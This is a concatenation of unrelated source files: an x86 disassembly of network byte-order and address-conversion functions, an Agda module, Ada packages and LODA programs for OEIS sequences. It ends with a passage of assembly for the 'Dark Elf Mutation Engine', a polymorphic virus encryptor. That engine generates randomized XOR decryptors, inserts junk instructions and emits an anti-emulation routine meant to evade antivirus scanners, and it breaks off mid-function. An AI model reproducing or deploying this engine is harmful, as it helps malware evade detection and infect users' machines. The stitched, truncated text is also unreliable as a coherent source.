119f: c7 45 c0 00 00 00 00 movl $0x0,0xffffffc0(%ebp)
11a6: eb 61 jmp 1209 <inet_aton+0x2a9>
val |= (parts[0] << 24) | (parts[1] << 16);
11a8: 8b 45 dc mov 0xffffffdc(%ebp),%eax
11ab: 89 c2 mov %eax,%edx
11ad: c1 e2 18 shl $0x18,%edx
11b0: 8b 45 e0 mov 0xffffffe0(%ebp),%eax
11b3: c1 e0 10 shl $0x10,%eax
11b6: 09 d0 or %edx,%eax
11b8: 09 45 ec or %eax,0xffffffec(%ebp)
break;
11bb: eb 2d jmp 11ea <inet_aton+0x28a>
case 4: /* a.b.c.d -- 8.8.8.8 bits */
if (val > 0xff)
11bd: 81 7d ec ff 00 00 00 cmpl $0xff,0xffffffec(%ebp)
11c4: 76 09 jbe 11cf <inet_aton+0x26f>
return (0);
11c6: c7 45 c0 00 00 00 00 movl $0x0,0xffffffc0(%ebp)
11cd: eb 3a jmp 1209 <inet_aton+0x2a9>
val |= (parts[0] << 24) | (parts[1] << 16) | (parts[2] << 8);
11cf: 8b 45 dc mov 0xffffffdc(%ebp),%eax
11d2: 89 c2 mov %eax,%edx
11d4: c1 e2 18 shl $0x18,%edx
11d7: 8b 45 e0 mov 0xffffffe0(%ebp),%eax
11da: c1 e0 10 shl $0x10,%eax
11dd: 09 c2 or %eax,%edx
11df: 8b 45 e4 mov 0xffffffe4(%ebp),%eax
11e2: c1 e0 08 shl $0x8,%eax
11e5: 09 d0 or %edx,%eax
11e7: 09 45 ec or %eax,0xffffffec(%ebp)
break;
}
if (addr)
11ea: 83 7d 0c 00 cmpl $0x0,0xc(%ebp)
11ee: 74 12 je 1202 <inet_aton+0x2a2>
addr->s_addr = htonl(val);
11f0: 8b 45 ec mov 0xffffffec(%ebp),%eax
11f3: 89 04 24 mov %eax,(%esp)
11f6: e8 65 01 00 00 call 1360 <htonl>
11fb: 89 c2 mov %eax,%edx
11fd: 8b 45 0c mov 0xc(%ebp),%eax
1200: 89 10 mov %edx,(%eax)
return (1);
1202: c7 45 c0 01 00 00 00 movl $0x1,0xffffffc0(%ebp)
1209: 8b 45 c0 mov 0xffffffc0(%ebp),%eax
}
120c: c9 leave
120d: c3 ret
120e: 89 f6 mov %esi,%esi
00001210 <inet_ntoa>:
/* Convert numeric IP address into decimal dotted ASCII representation.
* returns ptr to static buffer; not reentrant!
*/
char *inet_ntoa(struct in_addr addr)
{
1210: 55 push %ebp
1211: 89 e5 mov %esp,%ebp
1213: 53 push %ebx
1214: 83 ec 24 sub $0x24,%esp
static char str[16];
u32_t s_addr = addr.s_addr;
1217: 8b 45 08 mov 0x8(%ebp),%eax
121a: 89 45 ec mov %eax,0xffffffec(%ebp)
char inv[3];
char *rp;
char *ap;
u8_t rem;
u8_t n;
u8_t i;
rp = str;
121d: c7 45 f0 4c 14 00 00 movl $0x144c,0xfffffff0(%ebp)
ap = (u8_t *)&s_addr;
1224: 8d 45 ec lea 0xffffffec(%ebp),%eax
1227: 89 45 f4 mov %eax,0xfffffff4(%ebp)
for(n = 0; n < 4; n++) {
122a: c6 45 fa 00 movb $0x0,0xfffffffa(%ebp)
122e: e9 af 00 00 00 jmp 12e2 <inet_ntoa+0xd2>
i = 0;
1233: c6 45 fb 00 movb $0x0,0xfffffffb(%ebp)
do {
rem = *ap % (u8_t)10;
1237: 8b 45 f4 mov 0xfffffff4(%ebp),%eax
123a: 0f b6 08 movzbl (%eax),%ecx
123d: b8 67 00 00 00 mov $0x67,%eax
1242: f6 e9 imul %cl
1244: 66 c1 e8 08 shr $0x8,%ax
1248: 89 c2 mov %eax,%edx
124a: c0 fa 02 sar $0x2,%dl
124d: 89 c8 mov %ecx,%eax
124f: c0 f8 07 sar $0x7,%al
1252: 89 d3 mov %edx,%ebx
1254: 28 c3 sub %al,%bl
1256: 88 5d db mov %bl,0xffffffdb(%ebp)
1259: 0f b6 45 db movzbl 0xffffffdb(%ebp),%eax
125d: c1 e0 02 shl $0x2,%eax
1260: 02 45 db add 0xffffffdb(%ebp),%al
1263: 01 c0 add %eax,%eax
1265: 89 ca mov %ecx,%edx
1267: 28 c2 sub %al,%dl
1269: 88 55 db mov %dl,0xffffffdb(%ebp)
126c: 0f b6 5d db movzbl 0xffffffdb(%ebp),%ebx
1270: 88 5d f9 mov %bl,0xfffffff9(%ebp)
*ap /= (u8_t)10;
1273: 8b 45 f4 mov 0xfffffff4(%ebp),%eax
1276: 0f b6 08 movzbl (%eax),%ecx
1279: b8 67 00 00 00 mov $0x67,%eax
127e: f6 e9 imul %cl
1280: 66 c1 e8 08 shr $0x8,%ax
1284: 89 c2 mov %eax,%edx
1286: c0 fa 02 sar $0x2,%dl
1289: 89 c8 mov %ecx,%eax
128b: c0 f8 07 sar $0x7,%al
128e: 28 c2 sub %al,%dl
1290: 8b 45 f4 mov 0xfffffff4(%ebp),%eax
1293: 88 10 mov %dl,(%eax)
inv[i++] = '0' + rem;
1295: 0f b6 55 fb movzbl 0xfffffffb(%ebp),%edx
1299: 0f b6 45 f9 movzbl 0xfffffff9(%ebp),%eax
129d: 83 c0 30 add $0x30,%eax
12a0: 88 44 15 e9 mov %al,0xffffffe9(%ebp,%edx,1)
12a4: 80 45 fb 01 addb $0x1,0xfffffffb(%ebp)
} while(*ap);
12a8: 8b 45 f4 mov 0xfffffff4(%ebp),%eax
12ab: 0f b6 00 movzbl (%eax),%eax
12ae: 84 c0 test %al,%al
12b0: 75 85 jne 1237 <inet_ntoa+0x27>
while(i--)
12b2: eb 12 jmp 12c6 <inet_ntoa+0xb6>
*rp++ = inv[i];
12b4: 0f b6 45 fb movzbl 0xfffffffb(%ebp),%eax
12b8: 0f b6 54 05 e9 movzbl 0xffffffe9(%ebp,%eax,1),%edx
12bd: 8b 45 f0 mov 0xfffffff0(%ebp),%eax
12c0: 88 10 mov %dl,(%eax)
12c2: 83 45 f0 01 addl $0x1,0xfffffff0(%ebp)
12c6: 80 6d fb 01 subb $0x1,0xfffffffb(%ebp)
12ca: 80 7d fb ff cmpb $0xff,0xfffffffb(%ebp)
12ce: 75 e4 jne 12b4 <inet_ntoa+0xa4>
*rp++ = '.';
12d0: 8b 45 f0 mov 0xfffffff0(%ebp),%eax
12d3: c6 00 2e movb $0x2e,(%eax)
12d6: 83 45 f0 01 addl $0x1,0xfffffff0(%ebp)
ap++;
12da: 83 45 f4 01 addl $0x1,0xfffffff4(%ebp)
12de: 80 45 fa 01 addb $0x1,0xfffffffa(%ebp)
12e2: 80 7d fa 03 cmpb $0x3,0xfffffffa(%ebp)
12e6: 0f 86 47 ff ff ff jbe 1233 <inet_ntoa+0x23>
}
*--rp = 0;
12ec: 83 6d f0 01 subl $0x1,0xfffffff0(%ebp)
12f0: 8b 45 f0 mov 0xfffffff0(%ebp),%eax
12f3: c6 00 00 movb $0x0,(%eax)
return str;
12f6: b8 4c 14 00 00 mov $0x144c,%eax
}
12fb: 83 c4 24 add $0x24,%esp
12fe: 5b pop %ebx
12ff: 5d pop %ebp
1300: c3 ret
1301: eb 0d jmp 1310 <htons>
1303: 90 nop
1304: 90 nop
1305: 90 nop
1306: 90 nop
1307: 90 nop
1308: 90 nop
1309: 90 nop
130a: 90 nop
130b: 90 nop
130c: 90 nop
130d: 90 nop
130e: 90 nop
130f: 90 nop
00001310 <htons>:
#ifndef BYTE_ORDER
#error BYTE_ORDER is not defined
#endif
#if BYTE_ORDER == LITTLE_ENDIAN
u16_t
htons(u16_t n)
{
1310: 55 push %ebp
1311: 89 e5 mov %esp,%ebp
1313: 83 ec 04 sub $0x4,%esp
1316: 8b 45 08 mov 0x8(%ebp),%eax
1319: 66 89 45 fc mov %ax,0xfffffffc(%ebp)
return ((n & 0xff) << 8) | ((n & 0xff00) >> 8);
131d: 0f b7 45 fc movzwl 0xfffffffc(%ebp),%eax
1321: 25 ff 00 00 00 and $0xff,%eax
1326: c1 e0 08 shl $0x8,%eax
1329: 89 c2 mov %eax,%edx
132b: 0f b7 45 fc movzwl 0xfffffffc(%ebp),%eax
132f: 25 00 ff 00 00 and $0xff00,%eax
1334: c1 f8 08 sar $0x8,%eax
1337: 09 d0 or %edx,%eax
1339: 0f b7 c0 movzwl %ax,%eax
}
133c: c9 leave
133d: c3 ret
133e: 89 f6 mov %esi,%esi
00001340 <ntohs>:
u16_t
ntohs(u16_t n)
{
1340: 55 push %ebp
1341: 89 e5 mov %esp,%ebp
1343: 83 ec 08 sub $0x8,%esp
1346: 8b 45 08 mov 0x8(%ebp),%eax
1349: 66 89 45 fc mov %ax,0xfffffffc(%ebp)
return htons(n);
134d: 0f b7 45 fc movzwl 0xfffffffc(%ebp),%eax
1351: 89 04 24 mov %eax,(%esp)
1354: e8 b7 ff ff ff call 1310 <htons>
1359: 0f b7 c0 movzwl %ax,%eax
}
135c: c9 leave
135d: c3 ret
135e: 89 f6 mov %esi,%esi
00001360 <htonl>:
u32_t
htonl(u32_t n)
{
1360: 55 push %ebp
1361: 89 e5 mov %esp,%ebp
return ((n & 0xff) << 24) |
1363: 0f b6 45 08 movzbl 0x8(%ebp),%eax
1367: 89 c2 mov %eax,%edx
1369: c1 e2 18 shl $0x18,%edx
136c: 8b 45 08 mov 0x8(%ebp),%eax
136f: 25 00 ff 00 00 and $0xff00,%eax
1374: c1 e0 08 shl $0x8,%eax
1377: 09 c2 or %eax,%edx
1379: 8b 45 08 mov 0x8(%ebp),%eax
137c: 25 00 00 ff 00 and $0xff0000,%eax
1381: c1 e8 08 shr $0x8,%eax
1384: 09 c2 or %eax,%edx
1386: 8b 45 08 mov 0x8(%ebp),%eax
1389: 25 00 00 00 ff and $0xff000000,%eax
138e: c1 e8 18 shr $0x18,%eax
1391: 09 d0 or %edx,%eax
((n & 0xff00) << 8) |
((n & 0xff0000) >> 8) |
((n & 0xff000000) >> 24);
}
1393: 5d pop %ebp
1394: c3 ret
1395: 8d 74 26 00 lea 0x0(%esi),%esi
1399: 8d bc 27 00 00 00 00 lea 0x0(%edi),%edi
000013a0 <ntohl>:
u32_t
ntohl(u32_t n)
{
13a0: 55 push %ebp
13a1: 89 e5 mov %esp,%ebp
13a3: 83 ec 04 sub $0x4,%esp
return htonl(n);
13a6: 8b 45 08 mov 0x8(%ebp),%eax
13a9: 89 04 24 mov %eax,(%esp)
13ac: e8 af ff ff ff call 1360 <htonl>
}
13b1: c9 leave
13b2: c3 ret
|
src/FRP/LTL/ISet/Sum.agda | agda/agda-frp-ltl | 21 | 1798 | <filename>src/FRP/LTL/ISet/Sum.agda
open import Data.Product using ( _×_ ; _,_ )
open import Data.Sum using ( _⊎_ ; inj₁ ; inj₂ )
open import FRP.LTL.Time.Interval using ( _⊑_ ; _~_ ; _⌢_∵_ )
open import FRP.LTL.ISet.Core using ( ISet ; [_] ; _,_ ; M⟦_⟧ ; splitM⟦_⟧ ; subsumM⟦_⟧ )
module FRP.LTL.ISet.Sum where
_∨_ : ISet → ISet → ISet
A ∨ B = [ (λ i → M⟦ A ⟧ i ⊎ M⟦ B ⟧ i) , split , subsum ] where
split : ∀ i j i~j →
(M⟦ A ⟧ (i ⌢ j ∵ i~j) ⊎ M⟦ B ⟧ (i ⌢ j ∵ i~j)) →
((M⟦ A ⟧ i ⊎ M⟦ B ⟧ i) × (M⟦ A ⟧ j ⊎ M⟦ B ⟧ j))
split i j i~j (inj₁ σ) with splitM⟦ A ⟧ i j i~j σ
split i j i~j (inj₁ σ) | (σ₁ , σ₂) = (inj₁ σ₁ , inj₁ σ₂)
split i j i~j (inj₂ τ) with splitM⟦ B ⟧ i j i~j τ
split i j i~j (inj₂ τ) | (τ₁ , τ₂) = (inj₂ τ₁ , inj₂ τ₂)
subsum : ∀ i j → (i ⊑ j) → (M⟦ A ⟧ j ⊎ M⟦ B ⟧ j) → (M⟦ A ⟧ i ⊎ M⟦ B ⟧ i)
subsum i j i⊑j (inj₁ σ) = inj₁ (subsumM⟦ A ⟧ i j i⊑j σ)
subsum i j i⊑j (inj₂ τ) = inj₂ (subsumM⟦ B ⟧ i j i⊑j τ)
|
courses/spark_for_ada_programmers/labs/source/120_depends_contract_and_information_flow_analysis/swapping.ads | AdaCore/training_material | 15 | 5922 | <filename>courses/spark_for_ada_programmers/labs/source/120_depends_contract_and_information_flow_analysis/swapping.ads
package Swapping
is
procedure Swap (X, Y: in out Positive);
procedure Identity (X, Y: in out Positive)
with Depends => (X => X,
Y => Y);
end Swapping;
|
programs/oeis/025/A025818.asm | jmorken/loda | 1 | 18960 | ; A025818: Expansion of 1/((1-x^2)(1-x^7)(1-x^10)).
; 1,0,1,0,1,0,1,1,1,1,2,1,2,1,3,1,3,2,3,2,4,3,4,3,5,3,5,4,6,4,7,5,7,5,8,6,8,7,9,7,10,8,11,8,12,9,12,10,13,11,14,12,15,12,16,13,17,14,18,15,19,16,20,17,21,18,22,19,23
mov $5,$0
mov $7,2
lpb $7
clr $0,5
mov $0,$5
sub $7,1
add $0,$7
sub $0,1
add $2,17
lpb $0
mov $1,$0
sub $0,1
cal $1,25786 ; Expansion of 1/((1-x)(1-x^7)(1-x^10)).
sub $0,1
add $2,$1
lpe
mov $1,$2
sub $1,16
mov $8,$7
lpb $8
mov $6,$1
sub $8,1
lpe
lpe
lpb $5
mov $5,0
sub $6,$1
lpe
mov $1,$6
|
src/007/dll.adb | xeenta/learning-ada | 0 | 9903 | with
Ada.Text_IO,
Ada.Containers.Doubly_Linked_Lists;
use Ada.Text_IO;
procedure dll is
Equal_Limit : constant := 10;
generic
Threshold : in Integer := 0;
function Special_Equal (Left, Right : Integer) return Boolean;
function Special_Equal (Left, Right : Integer) return Boolean is
begin
return abs (Left - Right) <= Threshold;
end Special_Equal;
function Int_Cmp_Fuzzy is new Special_Equal (Threshold => Equal_Limit);
package Integer_List is new Ada.Containers.Doubly_Linked_Lists
(Element_Type => Integer,
"=" => Int_Cmp_Fuzzy);
package Int_IO is new Ada.Text_IO.Integer_IO (Integer);
use Int_IO;
A_List : Integer_List.List;
begin
-- we can write it like this: Pkg.Subprogram (O, ...)
Integer_List.Append (A_List, 10);
Integer_List.Append (A_List, 200);
Integer_List.Append (A_List, 220);
for E of A_List loop
Put (E); New_Line;
end loop;
-- or like this: O.Subprogram (...)
if A_List.Contains (200) then
Put_Line ("Contains 200");
end if;
-- we haven't put a 210 into the list, but our fuzzy cmp
-- says we did.
if A_List.Contains (210) then
Put_Line ("it seems there's a 210 too");
end if;
end dll;
|
programs/oeis/022/A022795.asm | jmorken/loda | 1 | 169918 | ; A022795: Place where n-th 1 occurs in A023133.
; 1,5,12,22,35,51,70,92,118,147,179,214,252,293,337,385,436,490,547,607,670,736,806,879,955,1034,1116,1201,1289,1381,1476,1574,1675,1779,1886,1996,2110,2227,2347,2470,2596,2725,2857,2993,3132,3274
mov $1,3
mov $2,$0
mov $7,$0
lpb $2
add $1,$2
add $1,$0
sub $0,2
trn $0,5
add $1,1
sub $2,1
lpe
sub $1,2
mov $4,$7
mov $5,$7
lpb $4
sub $4,1
add $6,$5
lpe
mov $3,1
mov $5,$6
lpb $3
add $1,$5
sub $3,1
lpe
|
programs/oeis/033/A033562.asm | karttu/loda | 1 | 161641 | ; A033562: a(n) = 2*n^3 + 1.
; 1,3,17,55,129,251,433,687,1025,1459,2001,2663,3457,4395,5489,6751,8193,9827,11665,13719,16001,18523,21297,24335,27649,31251,35153,39367,43905,48779,54001,59583,65537,71875,78609,85751,93313,101307,109745,118639,128001,137843,148177,159015,170369,182251,194673,207647,221185,235299,250001,265303,281217,297755,314929,332751,351233,370387,390225,410759,432001,453963,476657,500095,524289,549251,574993,601527,628865,657019,686001,715823,746497,778035,810449,843751,877953,913067,949105,986079,1024001,1062883,1102737,1143575,1185409,1228251,1272113,1317007,1362945,1409939,1458001,1507143,1557377,1608715,1661169,1714751,1769473,1825347,1882385,1940599,2000001,2060603,2122417,2185455,2249729,2315251,2382033,2450087,2519425,2590059,2662001,2735263,2809857,2885795,2963089,3041751,3121793,3203227,3286065,3370319,3456001,3543123,3631697,3721735,3813249,3906251,4000753,4096767,4194305,4293379,4394001,4496183,4599937,4705275,4812209,4920751,5030913,5142707,5256145,5371239,5488001,5606443,5726577,5848415,5971969,6097251,6224273,6353047,6483585,6615899,6750001,6885903,7023617,7163155,7304529,7447751,7592833,7739787,7888625,8039359,8192001,8346563,8503057,8661495,8821889,8984251,9148593,9314927,9483265,9653619,9826001,10000423,10176897,10355435,10536049,10718751,10903553,11090467,11279505,11470679,11664001,11859483,12057137,12256975,12459009,12663251,12869713,13078407,13289345,13502539,13718001,13935743,14155777,14378115,14602769,14829751,15059073,15290747,15524785,15761199,16000001,16241203,16484817,16730855,16979329,17230251,17483633,17739487,17997825,18258659,18522001,18787863,19056257,19327195,19600689,19876751,20155393,20436627,20720465,21006919,21296001,21587723,21882097,22179135,22478849,22781251,23086353,23394167,23704705,24017979,24334001,24652783,24974337,25298675,25625809,25955751,26288513,26624107,26962545,27303839,27648001,27995043,28344977,28697815,29053569,29412251,29773873,30138447,30505985,30876499
pow $0,3
mov $1,$0
mul $1,2
add $1,1
|
source/context/adam-use_clause-for_type.ads | charlie5/aIDE | 3 | 13229 | with
Ada.Containers.Vectors,
Ada.Streams;
private
with
AdaM.a_Type;
package AdaM.use_Clause.for_type
is
type Item is new use_Clause.item with private;
-- View
--
type View is access all Item'Class;
procedure View_write (Stream : not null access Ada.Streams.Root_Stream_Type'Class;
Self : in View);
procedure View_read (Stream : not null access Ada.Streams.Root_Stream_Type'Class;
Self : out View);
for View'write use View_write;
for View'read use View_read;
-- Vector
--
package Vectors is new ada.Containers.Vectors (Positive, View);
subtype Vector is Vectors.Vector;
-- Forge
--
function new_Subprogram return use_Clause.for_type.view;
procedure free (Self : in out use_Clause.for_type.view);
overriding
procedure destruct (Self : in out use_Clause.for_type.item);
-- Attributes
--
overriding
function Id (Self : access Item) return AdaM.Id;
private
type Item is new use_Clause.item with
record
all_Qualifier : Boolean;
Types : AdaM.a_Type.vector;
end record;
end AdaM.use_Clause.for_type;
|
BasicIPC/Metatheory/GentzenSpinalNormalForm-HereditarySubstitution.agda | mietek/hilbert-gentzen | 29 | 2957 | <gh_stars>10-100
module BasicIPC.Metatheory.GentzenSpinalNormalForm-HereditarySubstitution where
open import BasicIPC.Syntax.GentzenSpinalNormalForm public
-- Hereditary substitution and reduction.
mutual
[_≔_]ⁿᶠ_ : ∀ {A B Γ} → (i : A ∈ Γ) → Γ ∖ i ⊢ⁿᶠ A → Γ ⊢ⁿᶠ B → Γ ∖ i ⊢ⁿᶠ B
[ i ≔ s ]ⁿᶠ neⁿᶠ (spⁿᵉ j xs) with i ≟∈ j
[ i ≔ s ]ⁿᶠ neⁿᶠ (spⁿᵉ .i xs) | same = reduce s ([ i ≔ s ]ˢᵖ xs)
[ i ≔ s ]ⁿᶠ neⁿᶠ (spⁿᵉ ._ xs) | diff j = neⁿᶠ (spⁿᵉ j ([ i ≔ s ]ˢᵖ xs))
[ i ≔ s ]ⁿᶠ lamⁿᶠ t = lamⁿᶠ ([ pop i ≔ mono⊢ⁿᶠ weak⊆ s ]ⁿᶠ t)
[ i ≔ s ]ⁿᶠ pairⁿᶠ t u = pairⁿᶠ ([ i ≔ s ]ⁿᶠ t) ([ i ≔ s ]ⁿᶠ u)
[ i ≔ s ]ⁿᶠ unitⁿᶠ = unitⁿᶠ
[_≔_]ˢᵖ_ : ∀ {A B C Γ} → (i : A ∈ Γ) → Γ ∖ i ⊢ⁿᶠ A → Γ ⊢ˢᵖ B ⦙ C → Γ ∖ i ⊢ˢᵖ B ⦙ C
[ i ≔ s ]ˢᵖ nilˢᵖ = nilˢᵖ
[ i ≔ s ]ˢᵖ appˢᵖ xs u = appˢᵖ ([ i ≔ s ]ˢᵖ xs) ([ i ≔ s ]ⁿᶠ u)
[ i ≔ s ]ˢᵖ fstˢᵖ xs = fstˢᵖ ([ i ≔ s ]ˢᵖ xs)
[ i ≔ s ]ˢᵖ sndˢᵖ xs = sndˢᵖ ([ i ≔ s ]ˢᵖ xs)
reduce : ∀ {A C Γ} → Γ ⊢ⁿᶠ A → Γ ⊢ˢᵖ A ⦙ C → Γ ⊢ⁿᶠ C
reduce t nilˢᵖ = t
reduce (lamⁿᶠ t) (appˢᵖ xs u) = reduce ([ top ≔ u ]ⁿᶠ t) xs
reduce (pairⁿᶠ t u) (fstˢᵖ xs) = reduce t xs
reduce (pairⁿᶠ t u) (sndˢᵖ xs) = reduce u xs
-- Reduction-based normal forms.
appⁿᶠ : ∀ {A B Γ} → Γ ⊢ⁿᶠ A ▻ B → Γ ⊢ⁿᶠ A → Γ ⊢ⁿᶠ B
appⁿᶠ t u = reduce t (appˢᵖ nilˢᵖ u)
fstⁿᶠ : ∀ {A B Γ} → Γ ⊢ⁿᶠ A ∧ B → Γ ⊢ⁿᶠ A
fstⁿᶠ t = reduce t (fstˢᵖ nilˢᵖ)
sndⁿᶠ : ∀ {A B Γ} → Γ ⊢ⁿᶠ A ∧ B → Γ ⊢ⁿᶠ B
sndⁿᶠ t = reduce t (sndˢᵖ nilˢᵖ)
-- Useful equipment for deriving neutrals.
≪appˢᵖ : ∀ {A B C Γ} → Γ ⊢ˢᵖ C ⦙ A ▻ B → Γ ⊢ⁿᶠ A → Γ ⊢ˢᵖ C ⦙ B
≪appˢᵖ nilˢᵖ t = appˢᵖ nilˢᵖ t
≪appˢᵖ (appˢᵖ xs u) t = appˢᵖ (≪appˢᵖ xs t) u
≪appˢᵖ (fstˢᵖ xs) t = fstˢᵖ (≪appˢᵖ xs t)
≪appˢᵖ (sndˢᵖ xs) t = sndˢᵖ (≪appˢᵖ xs t)
≪fstˢᵖ : ∀ {A B C Γ} → Γ ⊢ˢᵖ C ⦙ A ∧ B → Γ ⊢ˢᵖ C ⦙ A
≪fstˢᵖ nilˢᵖ = fstˢᵖ nilˢᵖ
≪fstˢᵖ (appˢᵖ xs u) = appˢᵖ (≪fstˢᵖ xs) u
≪fstˢᵖ (fstˢᵖ xs) = fstˢᵖ (≪fstˢᵖ xs)
≪fstˢᵖ (sndˢᵖ xs) = sndˢᵖ (≪fstˢᵖ xs)
≪sndˢᵖ : ∀ {A B C Γ} → Γ ⊢ˢᵖ C ⦙ A ∧ B → Γ ⊢ˢᵖ C ⦙ B
≪sndˢᵖ nilˢᵖ = sndˢᵖ nilˢᵖ
≪sndˢᵖ (appˢᵖ xs u) = appˢᵖ (≪sndˢᵖ xs) u
≪sndˢᵖ (fstˢᵖ xs) = fstˢᵖ (≪sndˢᵖ xs)
≪sndˢᵖ (sndˢᵖ xs) = sndˢᵖ (≪sndˢᵖ xs)
-- Derived neutrals.
varⁿᵉ : ∀ {A Γ} → A ∈ Γ → Γ ⊢ⁿᵉ A
varⁿᵉ i = spⁿᵉ i nilˢᵖ
appⁿᵉ : ∀ {A B Γ} → Γ ⊢ⁿᵉ A ▻ B → Γ ⊢ⁿᶠ A → Γ ⊢ⁿᵉ B
appⁿᵉ (spⁿᵉ i xs) t = spⁿᵉ i (≪appˢᵖ xs t)
fstⁿᵉ : ∀ {A B Γ} → Γ ⊢ⁿᵉ A ∧ B → Γ ⊢ⁿᵉ A
fstⁿᵉ (spⁿᵉ i xs) = spⁿᵉ i (≪fstˢᵖ xs)
sndⁿᵉ : ∀ {A B Γ} → Γ ⊢ⁿᵉ A ∧ B → Γ ⊢ⁿᵉ B
sndⁿᵉ (spⁿᵉ i xs) = spⁿᵉ i (≪sndˢᵖ xs)
-- Iterated expansion.
expand : ∀ {A Γ} → Γ ⊢ⁿᵉ A → Γ ⊢ⁿᶠ A
expand {α P} t = neⁿᶠ t
expand {A ▻ B} t = lamⁿᶠ (expand (appⁿᵉ (mono⊢ⁿᵉ weak⊆ t) (expand (varⁿᵉ top))))
expand {A ∧ B} t = pairⁿᶠ (expand (fstⁿᵉ t)) (expand (sndⁿᵉ t))
expand {⊤} t = unitⁿᶠ
-- Expansion-based normal forms.
varⁿᶠ : ∀ {A Γ} → A ∈ Γ → Γ ⊢ⁿᶠ A
varⁿᶠ i = expand (varⁿᵉ i)
-- Translation from simple terms to normal forms.
tm→nf : ∀ {A Γ} → Γ ⊢ A → Γ ⊢ⁿᶠ A
tm→nf (var i) = varⁿᶠ i
tm→nf (lam t) = lamⁿᶠ (tm→nf t)
tm→nf (app t u) = appⁿᶠ (tm→nf t) (tm→nf u)
tm→nf (pair t u) = pairⁿᶠ (tm→nf t) (tm→nf u)
tm→nf (fst t) = fstⁿᶠ (tm→nf t)
tm→nf (snd t) = sndⁿᶠ (tm→nf t)
tm→nf unit = unitⁿᶠ
-- Normalisation by hereditary substitution.
norm : ∀ {A Γ} → Γ ⊢ A → Γ ⊢ A
norm = nf→tm ∘ tm→nf
|
Engines/Win32/DarkElf.asm | Mingzhi5/MalwareRepository | 0 | 102977 | <gh_stars>0
;¯®¤¯à®£à ¬¬ë :
; DEME - á ¬ Mutation ¨ ¥áâì
; Randomize - î§ ¥â ¯®àâ 40h
; RND - AX = RND(65536)
PUSHSTATE
IDEAL
LOCALS @@
DEME_MaxDecoderLen=1500
proc DEME
; à ¬¥âàë :
;es:di - ¤à¥á ¡ãä¥à , ¢ ª®â®àë© ¡ã¤¥â § ¯¨á १ã«ìâ â
; à §¬¥à_¡ãä¥à = à §¬¥à_¨á室®£®_ª®¤ + 1500
;ds:si - ¤à¥á ª®¤ , ª®â®àë© ¥®¡å®¤¨¬® § è¨ä஢ âì
;dx - ¤à¥á ¯à¨¢ï§ª¨ à áè¨ä஢騪 (¯®¤®¡® ORG xxxx)
;bx - à §¬¥à ¨á室®£® ª®¤ (¢ ¡ ©â å)
;‚®§¢à é ¥â :
;cx - ¤«¨ ¯®«ã祮£® ª®¤ (¢ ¡ ©â å)
pushf
push bx di si ds
push cs
pop ds
cld
inc bx
shr bx,1
mov [DEME_CodeLen],bx
mov [DEME_Origin],dx
mov [DEME_BuffOffs],di
call Randomize
call DEME_ChooseRegs
call DEME_GenProlog
call DEME_GenCrypt
call DEME_GenEpilog
pop ds si
call DEME_Encode
mov cx,di
pop di bx
sub cx,di
popf
ret
endp DEME
R_AX=00000000b
R_CX=00000001b
R_DX=00000010b
R_BX=00000011b
R_SP=00000100b
R_BP=00000101b
R_SI=00000110b
R_DI=00000111b
M_AX=00000001b
M_CX=00000010b
M_DX=00000100b
M_BX=00001000b
M_SP=00010000b
M_BP=00100000b
M_SI=01000000b
M_DI=10000000b
M_INDEX=M_BX+M_SI+M_DI
M_ALL=M_AX+M_CX+M_DX+M_BX+M_BP+M_SI+M_DI
DEME_ID db '[DEME] Dark Elf Mutation Engine v1.1',0
DEME_CopyLeft db 'CopyLeft (cl) MSTUdent',0
DEME_Date db ??date,0,??time,0
proc DEME_Encode near
push ax bx cx dx si
mov cx,[DEME_CodeLen]
mov dx,[DEME_Key]
@@1:
lodsw
xor ax,dx
stosw
add dx,[DEME_KeyAdd]
loop @@1
pop si dx cx bx ax
ret
endp DEME_Encode
proc DEME_ChooseRegs near
push ax
mov [DEME_MaskUsed],M_SP
mov al,M_INDEX
call DEME_GetAnyReg
mov [DEME_RegIndex],ax
mov al,M_ALL
call DEME_GetAnyReg
mov [DEME_RegCounter],ax
mov al,M_ALL
call DEME_GetAnyReg
mov [DEME_RegKey],ax
pop ax
ret
endp DEME_ChooseRegs
proc DEME_GenProlog near
push ax bx cx dx
call DEME_GenRandomSeq
call DEME_GenAntiWeb
mov bx,offset DEME_GenLoadIndex
mov cx,offset DEME_GenLoadKey
mov dx,offset DEME_GenLoadCounter
call DEME_MixRegs
call DEME_GenRandomSeq
call bx
call DEME_GenRandomSeq
call dx
call DEME_GenRandomSeq
call cx
call DEME_GenRandomSeq
pop dx cx bx ax
ret
endp DEME_GenProlog
proc DEME_GenAntiWeb
push ax bx cx
mov cl,[DEME_MaskUsed]
test cl,M_AX
je @@1
mov al,050h
stosb
call DEME_GenRandomSeq
@@1:
or [DEME_MaskUsed],M_AX
mov ax,41e4h
stosw
call DEME_GenRandomSeq
mov ax,1100010010001000b
stosw
call DEME_GenRandomSeq
mov ax,41e4h
stosw
call DEME_GenRandomSeq
mov ax,1100010000110000b
stosw
mov al,01110101b
stosw
mov bx,di
call DEME_GenRandomSeq
mov ax,4cb4h
stosw
mov ax,21cdh
stosw
call DEME_GenRandomSeq
mov ax,di
sub ax,bx
mov [es:bx-1],al
test cl,M_AX
je @@2
mov al,058h
stosb
call DEME_GenRandomSeq
@@2:
mov [DEME_MaskUsed],cl
pop cx bx ax
ret
endp DEME_GenAntiWeb
proc DEME_GenLoadIndex near
push ax
mov ax,[DEME_RegIndex]
or al,10111000b
stosb
mov [DEME_AddrBeg],di
stosw
pop ax
ret
endp DEME_GenLoadIndex
proc DEME_GenLoadKey near
push ax bx
call RND
mov bx,ax
mov [DEME_Key],ax
mov ax,[DEME_RegKey]
call DEME_GenLoadReg16
pop bx ax
ret
endp DEME_GenLoadKey
proc DEME_GenLoadCounter near
push ax bx
mov ax,[DEME_RegCounter]
mov bx,[DEME_CodeLen]
call DEME_GenLoadReg16
pop bx ax
ret
endp DEME_GenLoadCounter
proc DEME_GenCrypt near
push ax bx cx dx
mov [DEME_LoopAddr],di
call DEME_GenRandomSeq
call DEME_GenXorCmd
mov dx,offset DEME_GenIncIndex
mov bx,offset DEME_GenAddKey
mov cx,offset DEME_GenDecCounter
call DEME_MixRegs
call DEME_GenRandomSeq
call bx
call DEME_GenRandomSeq
call dx
call DEME_GenRandomSeq
call cx
call DEME_GenRandomSeq
call DEME_GenCloseCycle
call DEME_GenRandomSeq
pop dx cx bx ax
ret
endp DEME_GenCrypt
proc DEME_GenXorCmd near
push ax bx
mov al,2eh
stosb
mov al,00110001b
stosb
mov bx,[DEME_RegIndex]
cmp bx,R_BX
jne @@1
mov al,00000111b
@@1:
